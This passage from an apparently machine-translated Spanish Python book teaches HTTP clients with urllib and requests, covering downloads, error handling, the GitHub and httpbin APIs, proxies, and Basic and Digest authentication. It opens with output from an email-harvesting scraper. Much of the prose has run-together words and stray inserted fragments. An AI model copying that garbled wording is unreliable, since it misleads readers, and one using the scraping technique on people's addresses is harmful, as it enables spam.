el User-Agentencabezado de la solicitud. Usamos el contenido
HTML devuelto para buscar correos electrónicos que coincidan
con la expresión regular definida.
$ python get_emails_url_request.py
Enter url:https://mail.python.org/mailman3/lists/python-
dev.python.org
['python-dev@python.org', 'python-dev@python.org', 'python-
dev-owner@python.org', 'python-dev@python.org']
En la salida anterior, podemos ver los correos electrónicos
obtenidos durante la ejecución del script usando
el mail.python.orgdominio. Con este método, podemos
introducir la URL para extraer los correos electrónicos y el
script devolverá las cadenas que aparecen en el código HTML y
que coinciden con los correos electrónicos en la expresión
regular.
Descarga de archivos con urllib.request
En el siguiente guión, nosotrosPuedes ver cómo descargar un
archivo usando los métodos urlretrieve()y urlopen(). Puedes
encontrar el siguiente código en el download_file.pyarchivo
dentro de la urllib.requestcarpeta:
import urllib.request
print("starting download....")
url="https://www.python.org/static/img/python-logo.png"
urllib.request.urlretrieve(url, "python.png")
with urllib.request.urlopen(url) as response:
print("Status:", response.status)
print( "Downloading python.png")
with open("python.png", "wb" ) as image:
image.write(response.read())
Con el código anterior, usamos el urlretrieve()método
directamente. Otra opción para descargar un archivo es usar
el urlopen()método.
A veces, quieres obtener un archivo que no sea de texto, como
una imagen o un video. El método consiste en abrir la URL
y...Utilice el read()método para descargar todo el contenido del
documento en una cadena y luego escriba esa información en
un archivo. Puede encontrar el siguiente código en
el urllib_request_download_file.pyarchivo dentro de
la urllib.requestcarpeta:
import urllib.request, urllib.parse, urllib.error
file_gz =
urllib.request.urlopen('http://ftp.debian.org/debian/dists/stable/
contrib/Contents-all.gz').read()
file = open('Contents-all.gz', 'wb')
file.write(file_gz)
file.close()
El script anterior lee un archivo, lee todos los datos que recibe
de la red y los almacena en la file_gzvariable. Luego, abre el
archivo y escribe los datos en el disco. El wbargumento de
la open()función abre un archivo binario en modo de escritura.
El siguiente script intenta descargar el archivo en bloques de
10 000 bytes. Puede encontrar el siguiente código en
el urllib_request_download_file_bytes.pyarchivo dentro de
la urllib.requestcarpeta:
import urllib.request, urllib.parse, urllib.error
file_gz =
urllib.request.urlopen('http://ftp.debian.org/debian/dists/stable/
contrib/Contents-all.gz')
file = open('Contents-all.gz', 'wb')
file_size = 0
while True:
bytes = file_gz.read(10000)
if len(bytes) < 1:
break
file_size = file_size + len(bytes)
file.write(bytes)
print(file_size, 'bytes copied')
file.close()
Al ejecutar el script anterior, podemos ver como obtenemos el
número de bytes que se han transferido en la descarga del
archivo:
$ python urllib_request_download_file_bytes.py
57319 bytes copied
Acabamos de aprender cómoDescargue un archivo usando
el urllib.requestmódulo. A continuación, aprenderemos a
gestionar excepciones con este módulo.
Manejo de excepciones con urllib.request
Los códigos de estado debenSiempre se revisan para que, si
algo sale mal, nuestro sistema responda adecuadamente.
El urllibpaquete nos ayuda a...Comprueba los códigos de
estado lanzando una excepción si encuentra un problema
relacionado con la solicitud. Veamos ahora cómo detectarlos y
gestionarlos de forma práctica. Puedes encontrar el siguiente
código en el urllib_exceptions.pyarchivo dentro de
la urllib.requestcarpeta:
import urllib.error
from urllib.request import urlopen
try:
urlopen('https://www.ietf.org/rfc/rfc0.txt')
except urllib.error.HTTPError as exception:
print('Exception:', exception)
print('Status:', exception.code)
print('Reason', exception.reason)
print('Url', exception.url)
Aquí, usamos el urllib.requestmódulo para acceder a un archivo
de internet a través de su URL. Si la URL no existe, se genera
la urllib.error.URLErrorexcepción. El resultado del script anterior
es el siguiente:
$ python urllib_exceptions.py
Exception: HTTP Error 404: Not Found
Status: 404
Reason Not Found
Url https://www.ietf.org/rfc/rfc0.txt
En el script anterior, se genera una excepción porque la URL no
es correcta. Recuerde que esto urllib.requestnos permite probar
la respuesta de un sitio web o un servicio web y es una buena
opción para...Implementar clientes HTTP que requieren que la
solicitud sea personalizada. Ahora que conoces...Conceptos
básicos de creación de un cliente HTTP con
el urllib.requestmódulo. Pasemos ahora a aprender cómo crear
un cliente HTTP con el requestsmódulo.
Construyendo un cliente HTTP con solicitudes
Ser capaz deInteractuar con API RESTful basadas en HTTP es
una tarea cada vez más común en proyectos de cualquier
lenguaje de programación. En Python, también
tenemos...Opción de interactuar con una API REST de forma
sencilla con el requestsmódulo. En esta sección, revisaremos
las diferentes maneras de interactuar con una API basada en
HTTP mediante el requestspaquete Python.
Una de las mejores opciones dentro del ecosistema Python
para realizar solicitudes HTTP es el requestsmódulo. Puedes
instalar la requestsbiblioteca en tu sistema de forma sencilla
con el pipcomando:
$ pip install requests
Para probar la biblioteca en nuestro script, simplemente
impórtela como hacemos con otros módulos.
Básicamente, requestses un contenedor de urllib.request, junto
con otros módulos de Python, para proporcionar la estructura
REST con métodos simples. De esta manera, tenemos los
métodos get, post, put, update, delete, heady options, que son
todos los métodos necesarios para interactuar con una API
RESTful.
Este módulo tiene una implementación muy sencilla. Por
ejemplo, una GETconsulta requestssería la siguiente:
>>> import requests
>>> response = requests.get('http://www.python.org')
Como podemos ver, el requests.get()método devuelve
un responseobjeto. En este objeto, encontrará toda la
información correspondiente a la respuesta a nuestra solicitud.
Estas son las propiedades principales del responseobjeto:
response.status_code : Este es el código HTTP devuelto
por el servidor.
response.content : Aquí encontraremos el contenido de
la respuesta del servidor.
response.json() : Si la respuesta es un JSON, este
método serializa la cadena y devuelve una estructura de
diccionario con la estructura JSON correspondiente. Si no
se recibe un JSON para cada respuesta, el método genera
una excepción.
En el siguiente script, también podemos ver las propiedades a
través del responseobjeto en el python.orgdominio.
La response.headersdeclaración proporciona los encabezados
de la respuesta del servidor web. Básicamente,La respuesta es
un diccionario de objetos que podemos iterar con el formato
clave-valor.Usando el items()método. Puedes encontrar el
siguiente código en el requests_headers.pyarchivo dentro de
la requestscarpeta:
import requests, json
domain = input("Enter the hostname http://")
response = requests.get("http://"+domain)
print(response.json)
print("Status code: "+str(response.status_code))
print("Headers response: ")
for header, value in response.headers.items():
print(header, '-->', value)
print("Headers request : ")
for header, value in response.request.headers.items():
print(header, '-->', value)
En la salida del script anterior, podemos ver la ejecución del
script para el python.orgdominio. En la última línea de la
ejecución, podemos destacar la presencia de [nombre del
dominio] python-requestsen el User-Agentencabezado.
$ python requests_headers.py
Enter the hostname http://www.python.org
<bound method Response.json of <Response [200]>>
Status code: 200
Headers response:
Connection --> keep-alive
Content-Length --> 50991
Server --> nginx
Content-Type --> text/html; charset=utf-8
X-Frame-Options --> DENY
Via --> 1.1 vegur, 1.1 varnish, 1.1 varnish
Accept-Ranges --> bytes
Date --> Sun, 20 Nov 2022 21:20:30 GMT
Age --> 1245
X-Served-By --> cache-iad-kiad7000025-IAD, cache-mad22033-
MAD
X-Cache --> HIT, HIT
X-Cache-Hits --> 309, 1
X-Timer --> S1668979230.497214,VS0,VE2
Vary --> Cookie
Strict-Transport-Security --> max-age=63072000;
includeSubDomains
Headers request :
User-Agent --> python-requests/2.28.1
Accept-Encoding --> gzip, deflate, br
Accept --> */*
Connection --> keep-alive
De forma similar, solo podemos obtener información keys()del
diccionario de respuestas del objeto. Puedes encontrar el
siguiente código en el requests_headers_keys.pyarchivo dentro
de la requestscarpeta:
import requests
if __name__ == "__main__":
domain = input("Enter the hostname http://")
response = requests.get("http://"+domain)
for header in response.headers.keys():
print(header + ":" + response.headers[header])
A continuaciónPor ejemplo, estamos obteniendo
el robots.txtarchivo de un sitio web.Que se pasa como
parámetro. Puedes encontrar el siguiente código en
el read_robots_file.pyarchivo dentro de la requestscarpeta:
import requests
import sys
def main(url):
robot_url = f'{url}/robots.txt'
response = requests.get(robot_url)
print(response.text)
if __name__ == "__main__":
url = sys.argv[1]
main(url)
Al ejecutar el script anterior en un dominio, vemos el contenido
del robots.txtarchivo realizando una getsolicitud con
el requestsmódulo.
$ python read_robots_file.py http://www.python.org
# Directions for robots. See this URL:
# http://www.robotstxt.org/robotstxt.html
# for a description of the file format.
User-agent: HTTrack
User-agent: puf
User-agent: MSIECrawler
Disallow: /
# The Krugle web crawler (though based on Nutch) is OK.
User-agent: Krugle
Allow: /
Disallow: /~guido/orlijn/
Disallow: /webstats/
# No one should be crawling us with Nutch.
User-agent: Nutch
Disallow: /
# Hide old versions of the documentation and various large
sets of files.
User-agent: *
Disallow: /~guido/orlijn/
Disallow: /webstats/
Ahora, veamos con elCon la ayuda de un ejemplo podemos
obtener imágenesy enlaces desde una URL con
el requestsmódulo.
Obtener imágenes y enlaces desde una URL con
solicitudes
A continuaciónEjemplos: extraeremos imágenes y enlaces
usando los módulos requestsy shutil. La forma más sencilla de
descargar imágenes de una URL es usar el copyfileob()método
del shutilmódulo. Puedes encontrar el siguiente código en
el request_download_image.pyarchivo dentro de
la requestscarpeta:
import shutil
import requests
url = 'https://www.python.org/static/img/python-logo@2x.png'
response = requests.get(url, stream=True)
with open('python.png', 'wb') as out_file:
shutil.copyfileobj(response.raw, out_file)
En el script anterior, usamos el módulo de solicitudes para
obtener una imagen de una URL y shutil para copiar la
respuesta sin procesar como un archivo al sistema de archivos.
En el siguiente ejemplo, somosUsando la API de GitHub para
obtener información sobre un repositorio específico. Puedes
encontrar el siguiente código en
el request_github_repository.pyarchivo dentro de
la requestscarpeta:
import requests
response = requests.get('https://api.github.com/users/packt')
print(response.url)
print(response.text)
Cuando ejecute el script anterior, debería ver las URL asociadas
con el repositorio de GitHub de Packt:
$ python requests_github_repository.py
https://api.github.com/users/packt
{"login":"packt","id":6986181,"node_id":"MDQ6VXNlcjY5ODYxO
DE=","avatar_url":"https://avatars.githubusercontent.com/u/
6986181?v=4","gravatar_id":"","url":"https://api.github.com/
users/packt","html_url":"https://github.com/
packt","followers_url":"https://api.github.com/users/packt/
followers","following_url":"https://api.github.com/users/packt/
following{/other_user}","gists_url":"https://api.github.com/
users/packt/gists{/gist_id}","starred_url":"https://
api.github.com/users/packt/starred{/owner}{/
repo}","subscriptions_url":"https://api.github.com/users/packt/
subscriptions","organizations_url":"https://api.github.com/
users/packt/orgs","repos_url":"https://api.github.com/users/
packt/repos","events_url":"https://api.github.com/users/packt/
events{/privacy}","received_events_url":"https://
api.github.com/users/packt/
received_events","type":"User","site_admin":false,"name":null,"
company":null,"blog":"","location":null,"email":null,"hireable":n
ull,"bio":null,"twitter_username":null,"public_repos":1,"public_gi
sts":0,"followers":7,"following":0,"created_at":"2014-03-
18T11:00:26Z","updated_at":"2016-02-27T14:48:21Z"}
En el siguiente ejemplo, usamos la API de GitHub para buscar
un término en el repositorio de un usuario. Puedes encontrar el
siguiente código en el search_repositories_github.pyarchivo
dentro de la requestscarpeta:
SEARCH_URL_BASE = 'https://api.github.com/users'
import argparse
import requests
import json
def search_repository(author, search_for='homepage'):
url = "%s/%s/repos" %(SEARCH_URL_BASE, author)
print("Searching Repo URL: %s" %url)
result = requests.get(url)
results=[]
if(result.ok):
repo_info = json.loads(result.text or result.content)
result = "No result found!"
for repo in repo_info:
for key,value in repo.items():
if search_for in str(value):
results.append(value)
return results
En el código anterior, nosotrosdefinir una función que
proporcione como parámetros el autor y la palabra por la que
vamos a realizar la búsqueda en el repositorio.
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Github
search')
parser.add_argument('--author', action="store",
dest="author", required=True)
parser.add_argument('--search_for', action="store",
dest="search_for", required=True)
given_args = parser.parse_args()
results = search_repository(given_args.author,
given_args.search_for)
if isinstance(results, list):
print("Got result for '%s'..." %(given_args.search_for))
for value in results:
print("%s" %(value))
else:
print("Got result for %s: %s" %(given_args.search_for,
result))
Continuamos con la implementación de nuestro programa
principal, que nos permite añadir los argumentos para el autor
y la palabra de búsqueda. Desde este programa principal,
llamamos a la función definida anteriormente con estos
argumentos y obtenemos los resultados en forma de lista.
$ python search_repositories_github.py --author packt --
search_for book
Searching Repo URL: https://api.github.com/users/packt/repos
Got result for 'book'...
bookrepository
packt/bookrepository
https://github.com/packt/bookrepository
https://api.github.com/repos/packt/bookrepository
https://api.github.com/repos/packt/bookrepository/forks
https://api.github.com/repos/packt/bookrepository/keys{/
key_id}
https://api.github.com/repos/packt/bookrepository/
collaborators{/collaborator}
https://api.github.com/repos/packt/bookrepository/teams
https://api.github.com/repos/packt/bookrepository/hooks
https://api.github.com/repos/packt/bookrepository/issues/
events{/number}
https://api.github.com/repos/packt/bookrepository/events
https://api.github.com/repos/packt/bookrepository/assignees{/
user}
https://api.github.com/repos/packt/bookrepository/branches{/
branch}
https://api.github.com/repos/packt/bookrepository/tags
https://api.github.com/repos/packt/bookrepository/git/blobs{/
sha}
https://api.github.com/repos/packt/bookrepository/git/tags{/
sha}
https://api.github.com/repos/packt/bookrepository/git/refs{/
sha}
https://api.github.com/repos/packt/bookrepository/git/trees{/
sha}
https://api.github.com/repos/packt/bookrepository/statuses/
{sha}
https://api.github.com/repos/packt/bookrepository/languages
https://api.github.com/repos/packt/bookrepository/stargazers
https://api.github.com/repos/packt/bookrepository/contributors
https://api.github.com/repos/packt/bookrepository/subscribers
https://api.github.com/repos/packt/bookrepository/subscription
https://api.github.com/repos/packt/bookrepository/commits{/
sha}
https://api.github.com/repos/packt/bookrepository/git/
commits{/sha}
https://api.github.com/repos/packt/bookrepository/
comments{/number}
https://api.github.com/repos/packt/bookrepository/issues/
comments{/number}
https://api.github.com/repos/packt/bookrepository/contents/
{+path}
https://api.github.com/repos/packt/bookrepository/compare/
{base}...{head}
https://api.github.com/repos/packt/bookrepository/merges
https://api.github.com/repos/packt/bookrepository/
{archive_format}{/ref}
https://api.github.com/repos/packt/bookrepository/downloads
https://api.github.com/repos/packt/bookrepository/issues{/
number}
https://api.github.com/repos/packt/bookrepository/pulls{/
number}
https://api.github.com/repos/packt/bookrepository/
milestones{/number}
https://api.github.com/repos/packt/bookrepository/
notifications{?since,all,participating}
https://api.github.com/repos/packt/bookrepository/labels{/
name}
https://api.github.com/repos/packt/bookrepository/releases{/
id}
https://api.github.com/repos/packt/bookrepository/deployments
git://github.com/packt/bookrepository.git
git@github.com:packt/bookrepository.git
https://github.com/packt/bookrepository.git
https://github.com/packt/bookrepository
En la ejecución del guión, nosotrosconsulte los repositorios del
autor de Packt y contengan la palabra de búsqueda “libro”.
Realizar solicitudes con la API REST
Para probar solicitudes con este módulo, usamosPuede usar el
siguiente servicio, https://httpbin.org , y probar estas
solicitudes, ejecutando cada tipo por separado. En todos los
casos, el código paraejecutar para obtener el resultado
deseado será el mismo; lo único que cambiará será el tipo de
solicitud y los datos que se envían al servidor:
Figura 4.1: API REST y métodos HTTP en el servicio httpbin
https://httpbin.org/ ofrece un servicio que le permite probar
solicitudes REST a través de puntos finales predefinidos
utilizando losmétodosget,post,patch,putydelete
Si hacemos una solicituda la URL http://httpbin.org/get ,
obtenemos la respuesta en formato JSON:
{
"args": {},
"headers": {
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/
avif,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
"Host": "httpbin.org",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0)
Gecko/20100101 Firefox/102.0",
"X-Amzn-Trace-Id": "Root=1-637aa192-
489498a0092b23fc0cb5b36c"
},
"origin": "185.255.105.40",
"url": http://httpbin.org/get
En la salida anterior, podemosVea la respuesta en formato
JSON del getpunto final disponible en el httpbin.orgservicio.
Puede encontrar el siguiente código en
el testing_api_rest_get_method.pyarchivo dentro de
la requestscarpeta:
import requests, json
response = requests.get("http://httpbin.org/get",timeout=5)
print("HTTP Status Code: " + str(response.status_code))
print(response.headers)
if response.status_code == 200:
results = response.json()
for result in results.items():
print(result)
print("Headers response: ")
for header, value in response.headers.items():
print(header, '-->', value)
print("Headers request : ")
for header, value in response.request.headers.items():
print(header, '-->', value)
print("Server:" + response.headers['server'])
else:
print("Error code %s" % response.status_code)
Al ejecutar el código anterior, debería ver la salida con los
encabezados obtenidos para una solicitud y una respuesta.
La headersrespuesta será similar a la salida obtenida en
formato JSON.
Con GETlas solicitudes, podemos validar fácilmente que el
servicio se esté ejecutando y devuelva una respuesta válida. A
diferencia del GETmétodo, que envía los datos en la URL,
el POSTmétodo permite enviar datos al servidor en el cuerpo
de la solicitud.
Por ejemplo, supongamos que tenemosUn servicio para
registrar a un usuario mediante un formulario donde se debe
proporcionar un ID y un correo electrónico. Esta información se
pasaría mediante el dataatributo de un diccionario.Estructura.
El POSTmétodo requiere un campo adicional llamado data, en
el que enviamos un diccionario con todos los elementos que
enviaremos al servidor mediante el método correspondiente.
En este ejemplo, simularemos el envío de un formulario HTML
mediante una POSTsolicitud, tal como lo hacen los navegadores
al enviar un formulario a un sitio web. Los datos del formulario
siempre se envían en formato de diccionario clave-valor.
El POSTmétodo está disponible en el
servicio https://httpbin.org/#/HTTP_Methods/post_post :
Figura 4.2: Prueba del método POST en el servicio httpbin
En el siguiente ejemplo, definimos un diccionario de datos que
estamos utilizando con el POSTmétodo para pasar datos en el
cuerpo de la solicitud en key:valueformato:
>>> requests.post('https://httpbin.org/post', data =
{'key':'value'})"
Además, usamos un encabezado específico para enviar
información al servidor en formato JSON. En este caso,
podemos agregar nuestroencabezado propio o modificar los
existentes con el headersparámetro. PuedesEncuentra el
siguiente código en el testing_api_rest_post_method.pyarchivo
dentro de la requestscarpeta:
import requests,json
data_dictionary = {"id": "0123456789"}
headers = {"Content-Type" :
"application/json","Accept":"application/json"}
response =
requests.post("http://httpbin.org/post",data=data_dictionary,he
aders=headers,json=data_dictionary)
print("HTTP Status Code: " + str(response.status_code))
print(response.headers)
if response.status_code == 200:
results = response.json()
for result in results.items():
print(result)
print("Headers response: ")
for header, value in response.headers.items():
print(header, '-->', value)
print("Headers request : ")
for header, value in response.request.headers.items():
print(header, '-->', value)
print("Server:" + response.headers['server'])
else:
print("Error code %s" % response.status_code)
En el código anterior, además de usar el POSTmétodo,
pasamos los datos que se desean enviar al servidor como
parámetro en el dataatributo. Al ejecutar el script anterior, se
obtendrá el siguiente resultado:
$ python testing_api_rest_post_method.py
HTTP Status Code: 200
{'Date': 'Sun, 20 Nov 2022 22:21:21 GMT', 'Content-Type':
'application/json', 'Content-Length': '471', 'Connection': 'keep-
alive', 'Server': 'gunicorn/19.9.0', 'Access-Control-Allow-Origin':
'*', 'Access-Control-Allow-Credentials': 'true'}
('args', {})
('data', 'id=0123456789')
('files', {})
('form', {})
('headers', {'Accept': 'application/json', 'Accept-Encoding':
'gzip, deflate, br', 'Content-Length': '13', 'Content-Type':
'application/json', 'Host': 'httpbin.org', 'User-Agent': 'python-
requests/2.28.1', 'X-Amzn-Trace-Id': 'Root=1-637aa861-
693fe9783bafcdd82efeb8c7'})
('json', None)
('origin', '185.255.105.40')
('url', 'http://httpbin.org/post')
Headers response:
Date --> Sun, 20 Nov 2022 22:21:21 GMT
Content-Type --> application/json
Content-Length --> 471
Connection --> keep-alive
Server --> gunicorn/19.9.0
Access-Control-Allow-Origin --> *
Access-Control-Allow-Credentials --> true
Headers request :
User-Agent --> python-requests/2.28.1
Accept-Encoding --> gzip, deflate, br
Accept --> application/json
Connection --> keep-alive
Content-Type --> application/json
Content-Length --> 13
Server:gunicorn/19.9.0
En la salida del script anterior, podemos ver que el objeto de
respuesta que contiene el ID se envía en los datos.Objeto de
diccionario. Además, podemos ver los encabezados
relacionados con el application/jsontipo de contenido y el
encabezado del agente de usuario, donde podemos ver que
este encabezado esestablecido en
el python-request/2.28.1valor correspondiente a la versión
del requestsmódulo que estemos utilizando.
Administrar un proxy con solicitudes
Una característica interesanteLo que ofrece el requestsmódulo
es la opciónRealizar solicitudes a través de un proxy o máquina
intermediaria entre nuestra red interna y la red externa. Un
proxy se define de la siguiente manera:
>>> proxy = {"protocol":"ip:port"}
Para realizar una solicitud a través de un proxy, utilizamos
el proxiesatributo del get()método:
>>> response =
requests.get(url,headers=headers,proxies=proxy)
El proxyparámetro debe pasarse en forma de diccionario, es
decir, se debe crear un diccionario donde especifiquemos el
protocolo con la dirección IP y el puerto donde está escuchando
el proxy:
>>> import requests
>>> http_proxy = "http://<ip_address>:<port>"
>>> proxy_dictionary = { "http" : http_proxy}
>>> requests.get("http://domain.com",
proxies=proxy_dictionary)
El código anteriorPodría ser útil si necesitamos realizar
solicitudes desde una red interna a través de una máquina
intermedia. Para ello, es necesario conocer la dirección IP y el
puerto de esta máquina.
Gestión de excepciones con solicitudes
En comparación conotros módulos, el requestsmódulo maneja
errores en unDe otra manera. En el siguiente ejemplo, vemos
cómo el requestsmódulo genera un error 404 , indicando que
no puede encontrar el recurso solicitado:
>>> response =
requests.get('http://www.google.com/pagenotexists')
>>> response.status_code
404
Para ver la excepción generada internamente, podemos utilizar
el raise_for_status()método:
>>> response.raise_for_status()
requests.exceptions.HTTPError: 404 Client Error
En el caso de realizar una petición a un host que no existe, y
una vez producido el timeout, obtenemos
una ConnectionErrorexcepción:
>>> response = requests.get('http://url_not_exists')
requests.exceptions.ConnectionError:
HTTPConnectionPool(host='url_not_exists', port=80): Max
retries exceeded with url: / (Caused by
NewConnectionError('<urllib3.connection.HTTPConnection
object at 0x7f0a58525780>: Failed to establish a new
connection: [Errno -2] Name or service not known',))
El requestsmódulo facilita el uso de solicitudes HTTP en Python
en comparación con [nombre del módulo] urllib. A menos que
necesite usar [nombre del módulo] urllib, le recomiendo
usarlo requestspara sus proyectos en Python.
Ahora que tuconocer elConceptos básicos de la construcción de
un cliente HTTP con el requestsmódulo, pasemos a aprender
sobre los mecanismos de autenticación HTTP y cómo se
implementan en Python.
Mecanismos de autenticación con Python
La mayoría de los servicios webque utilizamos hoy en día
requieren algún mecanismo de autenticación para garantizar
que las credenciales del usuario sean válidas para acceder a
ellas.
En esta sección, aprenderemos a implementar la autenticación
en Python. El protocolo HTTP admite de forma nativa tres
mecanismos de autenticación:
Autenticación básica HTTP : transmite unapar
usuario/contraseña como una base64cadena codificada.
Autenticación de resumen HTTP : EstaEl mecanismo
utiliza MD5 para cifrar los hashes de usuario, clave y
reino.
Autenticación de portador HTTP : EstaEste mecanismo
utiliza autenticación basada en [nombre del
protocolo] access_token. Uno de los protocolos más
populares que utiliza este tipo de autenticación es OAuth.
En la siguiente URL, se pueden encontrar las diferentes
bibliotecas de Python compatibles con este
protocolo: https://oauth.net/code/python/ .
Python admite ambos mecanismos a través
del requestsmódulo. Sin embargo, la principal diferencia entre
ambos métodos es que el método básico solo codifica sin cifrar
los datos, mientras que el método de resumen cifra la
información del usuario en formato MD5. Analizaremos estos
mecanismos con más detalle en las siguientes subsecciones.
Autenticación básica HTTP con el módulo de solicitudes
HTTP básico es simpleMecanismo que permite implementar la
autenticación básica sobre recursos HTTP. Su principal ventaja
es la facilidad de implementación en servidores web Apache,
mediante directivas estándar de Apache y la httpasswdutilidad.
El problema con este método es que es fácil extraer las
credenciales del usuario con un sniffer de Wireshark porque la
información se envía en texto plano. Desde la perspectiva de
un atacante, podría ser fácil...Decodificar la información en
formato Base64. Si el cliente sabe que un recurso está
protegido con este mecanismo, el nombre de usuario y la
contraseña pueden enviarse con codificación Base64 en el
encabezado de autorización .
La autenticación de acceso básico asume que el cliente se
identifica mediante un nombre de usuario y una contraseña.
Cuando el cliente del navegador accede por primera vez a un
sitio web mediante esta autenticación, el servidor responde con
una 401respuesta de tipo que contiene la WWW-
Authenticateetiqueta, el Basicvalor y el nombre de dominio
protegido.
Suponiendo que tenemos una URL protegida con este tipo de
autenticación, podemos usar la HTTPBasicAuthclase
del requestsmódulo. En el siguiente script, usamos esta clase
para proporcionar las credenciales de usuario como una tupla.
Puedes encontrar el siguiente código en
el basic_authentication.pyarchivo dentro de la requestscarpeta:
import requests
from requests.auth import HTTPBasicAuth
from getpass import getpass
username=input("Enter username:")
password = getpass()
response = requests.get('https://api.github.com/user',
auth=HTTPBasicAuth(username,password))
print('Response.status_code:'+ str(response.status_code))
if response.status_code == 200:
print('Login successful :'+response.text)
En el código anterior, usamos HTTPBasicAuthla clase para
autenticarnos en el servicio GitHub usando los datos de
nombre de usuario y contraseña informados por el usuario.
Al ejecutar el script anterior, si las credenciales son incorrectas,
se devolverá un 401código de estado. Si son correctas, se
devolverá un 200código de estado e información sobre el
usuario que estamos probando.
$ python basic_authentication.py
Enter username:jmortega
Password:
Response.status_code:200
Login successful:
{"login":"jmortega","id":4352324,"node_id":"MDQ6VXNlcjQzNTI
zMjQ=","avatar_url":"https://avatars.githubusercontent.com/u/
4352324?v=4","gravatar_id":"","url":"https://api.github.com/
users/jmortega",...}
En el anteriorsalida, el inicio de sesión es exitoso y devuelve el
código de estado 200y la información sobre el usuario en el
servicio GitHub y las URL relacionadas con la API de GitHub a la
que el usuario podría acceder.
Autenticación de resumen HTTP con el módulo de
solicitudes
El resumen HTTP es un mecanismoSe utiliza en el protocolo
HTTP para mejorar el proceso de autenticación básica.
Este tipo de autenticaciónUtiliza el protocolo MD5, que
inicialmente se utilizaba principalmente para el cifrado de
datos. Hoy en día, su algoritmo se considera deficiente desde
el punto de vista del cifrado y se utiliza principalmente para
respaldar algunos métodos de autenticación.
MD5 se utiliza habitualmente para cifrar la información del
usuario, así como la clave y el dominio, aunque también se
pueden utilizar otros algoritmos, como SHA, para mejorar la
seguridad en sus diferentes variantes.
La autenticación de acceso basada en resumen extiende la
autenticación de acceso básico mediante el uso de un
algoritmo criptográfico hash unidireccional (MD5) para cifrar
primero la información de autenticación y luego agregar un
valor de conexión único.
El navegador del cliente utiliza este valor al calcular la
respuesta de la contraseña en formato hash. Aunque la
contraseña se ofusca mediante un hash criptográfico y el uso
de este valor único evita un ataque de repetición, el nombre de
usuario se envía en texto plano al servidor. Un ataque de
repetición es un tipo de ataque de red en el que una
transmisión de datos válida se repite o retrasa maliciosamente.
Suponiendo que tenemos una URL protegida con este tipo de
autenticación, podríamos utilizar HTTPDigestAuth, disponible
en el requests.authsubmódulo, de la siguiente manera:
>>> import requests
>>> from requests.auth import HTTPDigestAuth
>>> response = requests.get(protectedURL,
auth=HTTPDigestAuth(user,passwd))
En el siguiente script, utilizamos
el authservicio http://httpbin.org/digest-auth/auth/user/pa
ss para probar la autenticación de resumen para acceder a un
recurso protegido. El script es similar al anterior con
autenticación básica.La principal diferencia es la parteDonde
enviamos el nombre de usuario y la contraseña a través de la
URL protegida. Puedes encontrar el siguiente código en
el digest_authentication.pyarchivo dentro de
la requestscarpeta:
import requests
from requests.auth import HTTPDigestAuth
from getpass import getpass
user=input("Enter user:")
password = getpass()
url = 'http://httpbin.org/digest-auth/auth/user/pass'
response = requests.get(url, auth=HTTPDigestAuth(user,
password))
print("Headers request : ")
for header, value in response.request.headers.items():
print(header, '-->', value)
print('Response.status_code:'+ str(response.status_code))
if response.status_code == 200:
print('Login successful :'+str(response.json()))
print("Headers response: ")
for header, value in response.headers.items():
print(header, '-->', value)
En el script anterior, usamos el httpbinservicio para demostrar
cómo usar la HTTPDigestAuthclase para
pasar userparámetros password. Si ejecutamos el script
anterior introduciendo las credenciales de usuario y
contraseña , obtenemos la siguiente salida con el código de
estado 200, donde podemos ver la cadena JSON asociada a un
inicio de sesión exitoso:
$ python digest_authentication.py
Enter user:user
Password:
Headers request :
User-Agent --> python-requests/2.28.1
Accept-Encoding --> gzip, deflate, br
Accept --> */*
Connection --> keep-alive
Cookie --> stale_after=never; fake=fake_value
Authorization --> Digest username="user",
realm="me@kennethreitz.com",
nonce="fb63985adf60b417385c8b572320a243", uri="/digest-
auth/auth/user/pass",
response="1f54150d5845fb21bb7540fac323627b",
opaque="7bfdbb97d7f9c469b529ed43efac03c6",
algorithm="MD5", qop="auth", nc=00000001,
cnonce="352e8fd6d3e89d80"
Response.status_code:200
Login successful :{'authenticated': True, 'user': 'user'}
Headers response:
Date --> Mon, 21 Nov 2022 20:19:26 GMT
Content-Type --> application/json
Content-Length --> 47
Connection --> keep-alive
Server --> gunicorn/19.9.0
Set-Cookie --> fake=fake_value; Path=/, stale_after=never;
Path=/
Access-Control-Allow-Origin --> *
Access-Control-Allow-Credentials --> true
En la salida anterior, podemos ver cómo, en el encabezado de
Autorización , una solicitud está enviando
informaciónrelacionado con el compendio yEl algoritmo
utilizado. Si la autorización con nombre de usuario y
contraseña es correcta, el servicio devuelve la
siguiente salida JSON .
{
"authenticated": true,
"user": "user"
}
Si introducimos un usuario o contraseña incorrectos ,
obtenemos la siguiente salida con un 401código de estado:
$ python digest_authentication.py
Enter user:user
Password:
Headers request :
User-Agent --> python-requests/2.28.1
Accept-Encoding --> gzip, deflate, br
Accept --> */*
Connection --> keep-alive
Cookie --> stale_after=never; fake=fake_value
Authorization --> Digest username="user",
realm="me@kennethreitz.com",
nonce="2df0a3e9d3a6f610ccf7284f68478d7d", uri="/digest-
auth/auth/user/pass",
response="4ab930d004258ef3c9f92354c617b842",
opaque="0ba016f4ff382c541e958088fcfc5c8b",
algorithm="MD5", qop="auth", nc=00000001,
cnonce="8d48c6854830939c"
Response.status_code:401
Al observar los encabezados recibidos, vemos cómo, en
el status_codecampo, recibimos el código 401correspondiente
al acceso no autorizado. En esta sección, hemos revisado cómo
funciona el requestsmódulo.Tiene buen soporte para
ambosMecanismos de autenticación. A continuación,
continuamos implementando clientes OAuth con el requests-
oauthlibmódulo.
Implementación de clientes OAuth en Python con el módulo
requests-oauthlib
OAuth 2.0 es un estándar abierto para la autorización de API,
que nos permite compartir información entre sitiossin tener que
compartir una identidad. Es un mecanismo utilizado hoy en día
por grandes empresas comoGoogle, Microsoft, Twitter, GitHub y
LinkedIn, entre muchos otros.
Este protocolo consiste en delegar la autenticación de usuarios
al servicio que gestiona las cuentas, por lo que es este el que
otorga acceso a aplicaciones de terceros. El estándar OAuth 2.0
facilita aspectos relevantes como la autenticación de los
usuarios de la API, la solicitud de su autorización para realizar
acciones específicas y el suministro de herramientas que
identifican a las partes involucradas en el flujo de tareas.
En elEn el sitio web oficial de OAuth 2.0, https://oauth.net ,
